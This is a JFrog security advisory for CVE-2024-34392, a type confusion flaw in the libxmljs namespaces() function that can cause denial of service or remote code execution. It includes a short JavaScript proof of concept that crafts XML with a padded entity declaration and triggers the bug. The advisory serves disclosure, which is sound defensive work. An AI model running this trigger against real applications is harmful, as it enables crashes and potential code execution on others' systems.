JFrog Security Research
< Back

JFSA-2024-001034096 - libxmljs namespaces type confusion RCE

CVE-2024-34392 | CVSS 8.1

JFrog Severity:high

Discovered ByUriya Yavnieliof the JFrog Security Research Team

Published 2 May, 2024 | Last updated 2 May, 2024

libxmljs namespaces type confusion RCE

libxmljs

(,)

libxmljs is vulnerable to a type confusion vulnerability when parsing a specially crafted XML while invoking the namespaces() function (which invokes _wrap__xmlNode_nsDef_get()) on a grand-child of a node that refers to an entity. This vulnerability can lead to denial of service and remote code execution.

const libxmljs = require('libxmljs');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer PUBLIC "` + "A".repeat(8) + "B".repeat(8) + "C".repeat(8) + "D".repeat(8) + "P".repeat(8) + `" "JFrog Security">
]>
<from>&writer;</from>
`;

t = libxmljs.parseXml(d)
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0] //entity_decl
n = c2.namespaces(true) //onlyLocal = true

No mitigations are supplied for this issue

Original Advisory

< Back